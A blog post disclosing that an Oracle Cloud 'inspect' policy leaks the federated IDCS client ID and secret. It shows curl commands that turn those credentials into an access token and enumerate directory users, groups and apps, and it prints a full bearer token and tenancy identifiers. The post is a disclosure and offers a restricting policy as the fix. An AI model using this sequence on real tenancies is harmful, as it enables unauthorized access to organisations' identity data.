I've already seen many cases where a customer needs to give some read-only access on their tenancy to contractors / auditors / non-admin users. The easiest thing to is usually give "read" (or the more restrictive "inspect") all-resources policy to that user's group. In this article I will show how a user can use that to potentially expose some sensitive info from your company that you might not know.
Getting started
First let's say you give the more restrictive "inspect" instead of the "read" privilege.
| Verb | Types of Access Covered | Target User |
|---|---|---|
inspect |
Ability to list resources, without access to any confidential information or user-specified metadata that may be part of that resource. Important: The operation to list policies includes the contents of the policies themselves, and the list operations for the Networking resource-types return all the information (e.g., the contents of security lists and route tables). | Third-party auditors |
read |
Includes inspect plus the ability to get user-specified metadata and the actual resource itself. |
Internal auditors |
Source: https://docs.cloud.oracle.com/en-us/iaas/Content/Identity/Concepts/policies.htm
So, in theory, inspect should not give you access to any confidential metadata. Let's try however to create an inspect all-resources user to test it capabilities.
In this demo I will create:
User: oci_user_readonly
Group: oci_group_readonly
Policy: oci_policy_readonly ( "allow group oci_group_readonly to inspect any-resource on tenancy" )
# Create User oci iam user create --name oci_user_readonly --description "OCI User with inspect all-resources." # Create Group oci iam group create --name oci_group_readonly --description "OCI Group with inspect all-resources." # Add User to Group oci iam group add-user \ --user-id ocid1.user.oc1..aaaaaaaammz45b2fwiweoxyll6amqsrwpo7ll7fl2hymflogwxfrn4lhmara \ --group-id ocid1.group.oc1..aaaaaaaa5sipudlpetqo7sihu7schu6tpxkdygpf6iyxwki4yh3lsq66x5wq # Add Policy oci iam policy add \ --compartment-id ocid1.tenancy.oc1..aaaaaaaaunn73emggesayznwlqeunvmbsmbtgzbigd67mtjwbu2doq44igna \ --name oci_policy_readonly \ --description "OCI Policy with inspect all-resources." \ --statements '[ "allow group oci_group_readonly to inspect all-resources on tenancy" ]'
Finally I will add a API Key on this "inspect-only" user and create a profile in my OCI-CLI named "INSPECT_ONLY" with this user credentials.
Now, what if I configure this user and try to list some of the tenancy objects?
$ oci --profile INSPECT_ONLY iam region-subscription list
{
"data": [
{
"is-home-region": true,
"region-key": "IAD",
"region-name": "us-ashburn-1",
"status": "READY"
}
]
}
Great, my inspect-only user is working.. now going straight to the point of this article, what happens if I try to get the list of identity providers federated with my tenancy?
$ oci --profile INSPECT_ONLY iam identity-provider list --protocol SAML2 --compartment-id ocid1.tenancy.oc1..aaaaaaaaunn73emggesayznwlqeunvmbsmbtgzbigd67mtjwbu2doq44igna
{
"data": [
{
"compartment-id": "ocid1.tenancy.oc1..aaaaaaaaunn73emggesayznwlqeunvmbsmbtgzbigd67mtjwbu2doq44igna",
"defined-tags": {
"Oracle-Tags": {
"CreatedBy": "organizationscontrolplane",
"CreatedOn": "2020-03-03T23:37:44.537Z"
}
},
"description": "Oracle identity cloud service added during account creation",
"freeform-attributes": {
"externalAppId": "69b3844f3c894f988398a32d16ca5cc7",
"externalClientId": "ocid1tenancyoc1aaaaaaaaunn73emggesayznwlqeunvmbsmbtgzbigd67mtjwbu2doq44igna_APPID",
"externalClientSecret": "316570c4-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"federationVersion": "2"
},
"freeform-tags": {},
"id": "ocid1.saml2idp.oc1..aaaaaaaauzu5s77yqfvvd6q6autpskl7tougpdwzmvuudmhblgfz2pp764sq",
"inactive-status": null,
"lifecycle-state": "ACTIVE",
"metadata-url": "https://idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com",
"name": "OracleIdentityCloudService",
"product-type": "IDCS",
"protocol": "SAML2",
"redirect-url": "https://idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com/fed/v1/idp/sso",
"signing-certificate": null,
"time-created": "2020-03-03T23:37:44.552000+00:00"
}
]
}
So, if we check the output above, there are 3 attributes that I consider "sensitive info". Any user with inspect all-resources can retrieve:
- metadata-url:
https://idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com - externalClientId:
ocid1tenancyoc1aaaaaaaaunn73emggesayznwlqeunvmbsmbtgzbigd67mtjwbu2doq44igna_APPID - externalClientSecret:
316570c4-xxxx-xxxx-xxxx-xxxxxxxxxxxx
The inspect all-resources indirectly gives permissions on IDENTITY_PROVIDER_INSPECT. What is unexpected is that this request permission has the privilege to get the Client ID and Secret used to connect my OCI with my IDCS. Maybe this should be only retrievable via IDENTITY_PROVIDER_READ and thus using an oci-cli get, instead of list operation.
What someone could do with it?
So, with those 3 peaces together, we can try to explore what permissions does this app give on IDCS and see if we could get some further info of this tenancy. Let's run some REST and see what can we do...
I will export my IDCS url first because I will use it in all REST and I don't want to type it over 10x.
$ export v_idcs_url="https://idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com"
So first let me get an access token to this app:
$ curl -s --location --request POST "$v_idcs_url/oauth2/v1/token" \
-u ocid1tenancyoc1aaaaaaaaunn73emggesayznwlqeunvmbsmbtgzbigd67mtjwbu2doq44igna_APPID:316570c4-xxxx-xxxx-xxxx-xxxxxxxxxxxx \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'scope=urn:opc:idm:__myscopes__'
{
"access_token": "eyJ4NXQjUzI1NiI6Ijc0b2Z2NnhMY0htZk56LWVNV2MxNm1OTmNTRHhob1lFMVFMLU1TWUNjQUUiLCJ4NXQiOiJqYzNiSVRjcG1OT003U3UtZTIyLVQwVjl2dTAiLCJraWQiOiJTSUdOSU5HX0tFWSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiJvY2lkMXRlbmFuY3lvYzFhYWFhYWFhYXVubjczZW1nZ2VzYXl6bndscWV1bnZtYnNtYnRnemJpZ2Q2N210andidTJkb3E0NGlnbmFfQVBQSUQiLCJndHAiOiJjYyIsInVzZXIudGVuYW50Lm5hbWUiOiJpZGNzLThmMjIzZmRlZDZjNTQxZjliMjY2YzA5MDFmM2Q1OTY0Iiwic3ViX21hcHBpbmdhdHRyIjoidXNlck5hbWUiLCJwcmltVGVuYW50Ijp0cnVlLCJpc3MiOiJodHRwczpcL1wvaWRlbnRpdHkub3JhY2xlY2xvdWQuY29tXC8iLCJ0b2tfdHlwZSI6IkFUIiwiY2xpZW50X2lkIjoib2NpZDF0ZW5hbmN5b2MxYWFhYWFhYWF1bm43M2VtZ2dlc2F5em53bHFldW52bWJzbWJ0Z3piaWdkNjdtdGp3YnUyZG9xNDRpZ25hX0FQUElEIiwiY2FfZ3VpZCI6ImNhY2N0LTljY2QxY2I2NjYxMjRiOTU4NzQ2NzZjZmRkOTk3YzM2IiwiYXVkIjpbImh0dHBzOlwvXC9pZGNzLThmMjIzZmRlZDZjNTQxZjliMjY2YzA5MDFmM2Q1OTY0LmlkZW50aXR5Lm9yYWNsZWNsb3VkLmNvbSIsInVybjpvcGM6bGJhYXM6bG9naWNhbGd1aWQ9aWRjcy04ZjIyM2ZkZWQ2YzU0MWY5YjI2NmMwOTAxZjNkNTk2NCJdLCJzdWJfdHlwZSI6ImNsaWVudCIsImNsaWVudEFwcFJvbGVzIjpbIlVzZXIgVmlld2VyIiwiQXV0aGVudGljYXRlZCBDbGllbnQiXSwic2NvcGUiOiJ1cm46b3BjOmlkbTp0LnNlY3VyaXR5LmNsaWVudCB1cm46b3BjOmlkbTp0LmFwcHNlcnZpY2VzIHVybjpvcGM6aWRtOnQudXNlcnZpZXdlciB1cm46b3BjOmlkbTp0Lm5hbWVkYXBwYWRtaW4iLCJjbGllbnRfdGVuYW50bmFtZSI6ImlkY3MtOGYyMjNmZGVkNmM1NDFmOWIyNjZjMDkwMWYzZDU5NjQiLCJleHAiOjE2MDM4MjgyNDUsImlhdCI6MTYwMzgyNDY0NSwidGVuYW50X2lzcyI6Imh0dHBzOlwvXC9pZGNzLThmMjIzZmRlZDZjNTQxZjliMjY2YzA5MDFmM2Q1OTY0LmlkZW50aXR5Lm9yYWNsZWNsb3VkLmNvbTo0NDMiLCJjbGllbnRfZ3VpZCI6IjY5YjM4NDRmM2M4OTRmOTg4Mzk4YTMyZDE2Y2E1Y2M3IiwiY2xpZW50X25hbWUiOiJPQ0ktVjItQXBwLWRiYXJqIiwidGVuYW50IjoiaWRjcy04ZjIyM2ZkZWQ2YzU0MWY5YjI2NmMwOTAxZjNkNTk2NCIsImp0aSI6IjExZWIxODg1NTIxODhkZjRhZmI1MjdjYzdjYmU4NzUyIn0.FbhdM8oPXD5hq86cD1QjC8GOqp6WnZgzuDTS3tix4AHiXmttW2usyv8TjfzxqSnIPmzdBjat_mBAKYsxVgtcg4kT4cHcfHco9aE66AUrhYbvzc-uIR8yvHfweYuOo-slHiZOluUqVkE1n4T2F3WsLSen-ePSHkw-LI11HZxsXFFXWLhuJXSHAwbvUsm1eCI0VMGmpggSEtJsn_BLzQmuWxwRui6s6arHwQFcZ-LHhQeUsdr7QfWKme0-wBRdHhJ-m6Q02-CK-m7zpOCCHTW4C-aVgHVhAjnPgRbX4rfXYmf7X3trXtsqy4-ikgUQc2-ulR8jlMP-uZqOlx",
"token_type": "Bearer",
"expires_in": 3600
}
Now I will export this access_token and try to run some REST against some IDCS resources:
$ export v_access_token='eyJ4NXQjUzI1NiI6Ijc0b2Z2NnhMY0htZk56LWVNV2MxNm1OTmNTRHhob1lFMVFMLU1TWUNjQUUiLCJ4NXQiOiJqYzNiSVRjcG1OT003U3UtZTIyLVQwVjl2dTAiLCJraWQiOiJTSUdOSU5HX0tFWSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiJvY2lkMXRlbmFuY3lvYzFhYWFhYWFhYXVubjczZW1nZ2VzYXl6bndscWV1bnZtYnNtYnRnemJpZ2Q2N210andidTJkb3E0NGlnbmFfQVBQSUQiLCJndHAiOiJjYyIsInVzZXIudGVuYW50Lm5hbWUiOiJpZGNzLThmMjIzZmRlZDZjNTQxZjliMjY2YzA5MDFmM2Q1OTY0Iiwic3ViX21hcHBpbmdhdHRyIjoidXNlck5hbWUiLCJwcmltVGVuYW50Ijp0cnVlLCJpc3MiOiJodHRwczpcL1wvaWRlbnRpdHkub3JhY2xlY2xvdWQuY29tXC8iLCJ0b2tfdHlwZSI6IkFUIiwiY2xpZW50X2lkIjoib2NpZDF0ZW5hbmN5b2MxYWFhYWFhYWF1bm43M2VtZ2dlc2F5em53bHFldW52bWJzbWJ0Z3piaWdkNjdtdGp3YnUyZG9xNDRpZ25hX0FQUElEIiwiY2FfZ3VpZCI6ImNhY2N0LTljY2QxY2I2NjYxMjRiOTU4NzQ2NzZjZmRkOTk3YzM2IiwiYXVkIjpbImh0dHBzOlwvXC9pZGNzLThmMjIzZmRlZDZjNTQxZjliMjY2YzA5MDFmM2Q1OTY0LmlkZW50aXR5Lm9yYWNsZWNsb3VkLmNvbSIsInVybjpvcGM6bGJhYXM6bG9naWNhbGd1aWQ9aWRjcy04ZjIyM2ZkZWQ2YzU0MWY5YjI2NmMwOTAxZjNkNTk2NCJdLCJzdWJfdHlwZSI6ImNsaWVudCIsImNsaWVudEFwcFJvbGVzIjpbIlVzZXIgVmlld2VyIiwiQXV0aGVudGljYXRlZCBDbGllbnQiXSwic2NvcGUiOiJ1cm46b3BjOmlkbTp0LnNlY3VyaXR5LmNsaWVudCB1cm46b3BjOmlkbTp0LmFwcHNlcnZpY2VzIHVybjpvcGM6aWRtOnQudXNlcnZpZXdlciB1cm46b3BjOmlkbTp0Lm5hbWVkYXBwYWRtaW4iLCJjbGllbnRfdGVuYW50bmFtZSI6ImlkY3MtOGYyMjNmZGVkNmM1NDFmOWIyNjZjMDkwMWYzZDU5NjQiLCJleHAiOjE2MDM4MjgyNDUsImlhdCI6MTYwMzgyNDY0NSwidGVuYW50X2lzcyI6Imh0dHBzOlwvXC9pZGNzLThmMjIzZmRlZDZjNTQxZjliMjY2YzA5MDFmM2Q1OTY0LmlkZW50aXR5Lm9yYWNsZWNsb3VkLmNvbTo0NDMiLCJjbGllbnRfZ3VpZCI6IjY5YjM4NDRmM2M4OTRmOTg4Mzk4YTMyZDE2Y2E1Y2M3IiwiY2xpZW50X25hbWUiOiJPQ0ktVjItQXBwLWRiYXJqIiwidGVuYW50IjoiaWRjcy04ZjIyM2ZkZWQ2YzU0MWY5YjI2NmMwOTAxZjNkNTk2NCIsImp0aSI6IjExZWIxODg1NTIxODhkZjRhZmI1MjdjYzdjYmU4NzUyIn0.FbhdM8oPXD5hq86cD1QjC8GOqp6WnZgzuDTS3tix4AHiXmttW2usyv8TjfzxqSnIPmzdBjat_mBAKYsxVgtcg4kT4cHcfHco9aE66AUrhYbvzc-uIR8yvHfweYuOo-slHiZOluUqVkE1n4T2F3WsLSen-ePSHkw-LI11HZxsXFFXWLhuJXSHAwbvUsm1eCI0VMGmpggSEtJsn_BLzQmuWxwRui6s6arHwQFcZ-LHhQeUsdr7QfWKme0-wBRdHhJ-m6Q02-CK-m7zpOCCHTW4C-aVgHVhAjnPgRbX4rfXYmf7X3trXtsqy4-ikgUQc2-ulR8jlMP-uZqOlx'
Getting all the IDCS Users:
$ curl -s --location --request GET "$v_idcs_url/admin/v1/Users" \
> --header "Authorization: Bearer $v_access_token" \
> --header 'Content-Type: application/json'
{
"schemas": [
"urn:ietf:params:scim:api:messages:2.0:ListResponse"
],
"totalResults": 1,
"Resources": [
{
"idcsCreatedBy": {
"type": "App",
"display": "idcssm",
"value": "6923eddd11d1457084f550273b51027a",
"$ref": "https://idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com:443/admin/v1/Apps/6923eddd11d1457084f550273b51027a"
},
"id": "fc10ff2be16a40b68c4c30957ff66293",
"urn:ietf:params:scim:schemas:oracle:idcs:extension:user:User": {
"isFederatedUser": false
},
"meta": {
"created": "2020-03-03T23:34:18.038Z",
"lastModified": "2020-10-27T18:35:43.006Z",
"resourceType": "User",
"location": "https://idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com:443/admin/v1/Users/fc10ff2be16a40b68c4c30957ff66293"
},
"active": true,
"displayName": "Rodrigo Jorge",
"idcsLastModifiedBy": {
"value": "af2d1df6c13f493b9f3131baae2e8638",
"display": "idcssso",
"type": "App",
"$ref": "https://idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com:443/admin/v1/Apps/af2d1df6c13f493b9f3131baae2e8638"
},
"name": {
"givenName": "Rodrigo",
"familyName": "Jorge",
"formatted": "Rodrigo Jorge"
},
"nickName": "TAS_TENANT_ADMIN_USER",
...
Or maybe getting all IDCS Groups?
$ curl -s --location --request GET "$v_idcs_url/admin/v1/Groups" \
--header "Authorization: Bearer $v_access_token" \
--header 'Content-Type: application/json'
{
"schemas": [
"urn:ietf:params:scim:api:messages:2.0:ListResponse"
],
"totalResults": 3,
"Resources": [
{
"idcsLastModifiedBy": {
"value": "6923eddd11d1457084f550273b51027a",
"type": "App",
"display": "idcssm",
"$ref": "https://idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com:443/admin/v1/Apps/6923eddd11d1457084f550273b51027a"
},
"displayName": "IDCS_Administrators",
"meta": {
"created": "2020-03-03T23:34:18.251Z",
"lastModified": "2020-03-03T23:34:18.251Z",
"resourceType": "Group",
"location": "https://idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com:443/admin/v1/Groups/2874a9a87a294c74b4030b5c9e454bf7"
},
"idcsCreatedBy": {
"type": "App",
"display": "idcssm",
"value": "6923eddd11d1457084f550273b51027a",
"$ref": "https://idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com:443/admin/v1/Apps/6923eddd11d1457084f550273b51027a"
},
"urn:ietf:params:scim:schemas:oracle:idcs:extension:group:Group": {
"description": "IDCS Group with Administrator privileges"
},
"id": "2874a9a87a294c74b4030b5c9e454bf7",
"schemas": [
"urn:ietf:params:scim:schemas:core:2.0:Group",
"urn:ietf:params:scim:schemas:oracle:idcs:extension:group:Group"
],
"urn:ietf:params:scim:schemas:oracle:idcs:extension:dynamic:Group": {
"membershipType": "static"
}
},
{
"idcsLastModifiedBy": {
"value": "a1b0d040f5a648b7a1608b434dff1f2e",
"type": "App",
"display": "COMPUTEBAREMETAL",
"$ref": "https://idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com:443/admin/v1/Apps/a1b0d040f5a648b7a1608b434dff1f2e"
},
"displayName": "OCI_Administrators",
"meta": {
"created": "2020-03-03T23:37:44.181Z",
"lastModified": "2020-03-03T23:37:44.181Z",
"resourceType": "Group",
"location": "https://idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com:443/admin/v1/Groups/90493db74f194429a47416c1f58d5dd0"
...
Or we can go deeper and list all IDCS Apps we have in this account:
$ curl -s --location --request GET "$v_idcs_url/admin/v1/Apps?attributes=displayName,active,name,clientSecret,id" \
--header "Authorization: Bearer $v_access_token" \
--header 'Content-Type: application/json'
{
"schemas": [
"urn:ietf:params:scim:api:messages:2.0:ListResponse"
],
"totalResults": 49,
"Resources": [
{
"displayName": "ADWC",
"serviceTypeURN": "ADWC_ServiceEntitlement",
"isManagedApp": false,
"isAliasApp": false,
"meterAsOPCService": true,
"id": "eaa22eb40fb9401eab67bafd24a00d01",
"active": true,
"isOPCService": true,
"basedOnTemplate": {
"value": "OPCAppTemplateId"
},
"name": "ADWCApp-7c994e707a8c4701aa0d1fe5ae5af6cb_APPID"
},
{
"displayName": "ADWCApp-7c994e707a8c4701aa0d1fe5ae5af6cb_ADWC_IMPERSONATE",
"serviceTypeURN": "ADWC_ServiceEntitlement",
"isManagedApp": false,
"clientType": "confidential",
"isAliasApp": true,
"meterAsOPCService": true,
"id": "10832d14b3614130bd7b025c2963c76c",
"active": true,
"isOPCService": true,
"basedOnTemplate": {
"value": "OPCAppTemplateId"
},
"name": "ADWCApp-7c994e707a8c4701aa0d1fe5ae5af6cb_ADWC_IMPERSONATE_APPID"
},
...
So, as you could note, I can list several info on IDCS that may contain info that will open doors to further attacks vectors or even some sensitive info, like every IDCS User data / company / phone / etc. If you have an IDCS connected with your company Active Directory via bridge integration, this could potentially expose every single company account to the "inspect-only" user.
Now let me try to do some mess..
What if I try to delete some App on IDCS:
$ curl -s --location --request DELETE "$v_idcs_url/admin/v1/Apps/69b3844f3c894f988398a32d16ca5cc7" \
> --header "Authorization: Bearer $v_access_token" \
> --data-raw ''
{
"schemas": [
"urn:ietf:params:scim:api:messages:2.0:Error",
"urn:ietf:params:scim:api:oracle:idcs:extension:messages:Error"
],
"detail": "OCI-V2-App-dbarj is not allowed to DELETE /Apps.",
"status": "401",
"urn:ietf:params:scim:api:oracle:idcs:extension:messages:Error": {
"messageId": "error.common.common.accessDenied"
}
}
Failed. **relieved** =]
So you may be asking what permissions this APP have in OCI?
{
"displayName": "OCI-V2-App-dbarj",
"serviceTypeURN": "COMPUTEBAREMETAL_ServiceEntitlement",
"isManagedApp": true,
"clientType": "confidential",
"isAliasApp": false,
"id": "69b3844f3c894f988398a32d16ca5cc7",
"active": true,
"isOPCService": true,
"basedOnTemplate": {
"value": "OCIAppTemplateId"
},
"name": "ocid1tenancyoc1aaaaaaaaunn73emggesayznwlqeunvmbsmbtgzbigd67mtjwbu2doq44igna_APPID",
"clientSecret": "316570c4-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"urn:ietf:params:scim:schemas:oracle:idcs:extension:managedapp:App": {
"accountFormVisible": false
},
"grantedAppRoles": [
{
"value": "d41949dce5f04a40af74511324b06933",
"appId": "IDCSAppId",
"display": "User Viewer",
"type": "direct",
"appName": "IDCSApp",
"adminRole": true
}
]
}
So checking on the UI or using REST, we can see it has only this "User Viewer" role:
Good, "User Viewer" role is not so dangerous. Most of the DELETE/POST/PATCH APIs are not opened to this App Role. However, as I mentioned, it has access to read every single user/group/app/grants/etc on IDCS.
Even if I try to regenerate the secret for this app, this is not opened to this app:
$ curl -s --location --request GET "$v_idcs_url/admin/v1/AppClientSecretRegenerator/69b3844f3c894f988398a32d16ca5cc7" \
--header "Authorization: Bearer $v_access_token" \
--header 'Content-Type: application/json'
{
"schemas": [
"urn:ietf:params:scim:api:messages:2.0:Error",
"urn:ietf:params:scim:api:oracle:idcs:extension:messages:Error"
],
"detail": "OCI-V2-App-dbarj isn't a Service Administrator for this app.",
"status": "400",
"urn:ietf:params:scim:api:oracle:idcs:extension:messages:Error": {
"messageId": "error.application.app.isNotServiceAdmin"
}
}
So what do I do if I want a user to see everything without exposing sensitive info?
You can either stop giving all-resources privileges and use the principle of least privilege (recommended) or if you don't want to control each resource access, you can change your policy to:
allow group xxx to inspect all-resources in tenancy where request.permission!='IDENTITY_PROVIDER_INSPECT'
Oracle thoughts
Before posting this article, I tried to reach Oracle via SR and show about this security issue (or maybe let's call is unnecessary "exposure"). However, they stated very clearly that "this is working as expected , if you need to restrict the user then you need to explicitly give permissions to users or groups.".
My thoughts
I disagree. As I've already said and per the official documentation, a user with inspect has the "ability to list resources, without access to any confidential information", and to me this is not the case.
Have you enjoyed? Please leave a comment or give a 👍!
